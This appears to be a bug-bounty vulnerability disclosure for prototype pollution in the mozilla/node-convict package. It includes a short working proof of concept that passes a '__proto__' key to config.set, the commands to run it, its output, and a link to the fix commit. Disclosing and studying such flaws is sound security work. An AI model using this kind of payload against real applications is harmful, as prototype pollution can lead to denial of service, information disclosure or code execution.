Prototype Pollution in mozilla/node-convict
Valid
Reported on
Nov 19th 2020
Description
convict
is vulnerable to Prototype Pollution
.
This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.
Proof of Concept
- Create the following PoC file:
// poc.js
var convict = require("convict");
var obj = {};
var config = convict(obj);
console.log("Before : " + {}.polluted);
config.set("__proto__.polluted","Yes! Its Polluted");
console.log("After : " + {}.polluted);
- Execute the following commands in another terminal:
npm i convict # Install affected module
node poc.js # Run the PoC
- Check the Output:
Before : undefined
After : Yes! Its Polluted
More complete fix:
https://github.com/mozilla/node-convict/commit/3b86be087d8f14681a9c889d45da7fe3ad9cd880
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